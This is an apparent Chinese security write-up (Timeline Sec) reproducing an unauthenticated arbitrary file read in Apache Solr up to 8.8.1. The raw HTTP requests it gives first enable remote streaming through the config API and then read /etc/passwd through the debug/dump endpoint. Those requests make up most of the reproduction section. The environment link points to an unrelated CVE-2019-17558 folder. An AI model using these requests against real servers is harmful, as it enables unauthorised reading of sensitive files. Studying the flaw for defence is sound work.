文章来源:Timeline Sec
0x01 简介
ApacheSolr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。
0x02 漏洞概述
Apache Solr 存在任意文件读取漏洞,攻击者可以在未授权的情况下获取目标服务器敏感文件。
0x03 影响版本
Apache Solr <= 8.8.1
0x04 环境搭建
使用vulhub快速搭建
wgethttps://github.com/vulhub/vulhub/blob/master/solr/CVE-2019-17558/docker-compose.ymldocker-compose up -ddocker ps
0x05 漏洞复现
1、获取core的信息:主要是name
http://xx.xx.xx.xx:8983/solr/admin/cores?indexInfo=false&wt=json
2、根据name构造获取config的包
根据返回包内容可判断存在漏洞
POST /solr/demo/config HTTP/1.1Host: 127.0.0.1:8983Content-Length: 80Connection: close {"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
3、构造读取/etc/passwd的包
POST /solr/demo/./debug/dump?param=ContentStreams HTTP/1.1Host: 127.0.0.1:8983Content-Length: 29Content-Type: application/x-www-form-urlencodedConnection: close stream.url=file:///etc/passwd
0x06 修复方式
将Solr 端口仅对内网开放
无修复版本(好像是官方不认这个漏洞,拒绝修复)
参考链接:
https://mp.weixin.qq.com/s/HMtAz6_unM1PrjfAzfwCUQ
https://mp.weixin.qq.com/s/SFC8X7o2kfFASHmLeD3-UQ
https://github.com/vulhub/vulhub/tree/master/solr/CVE-2019-17558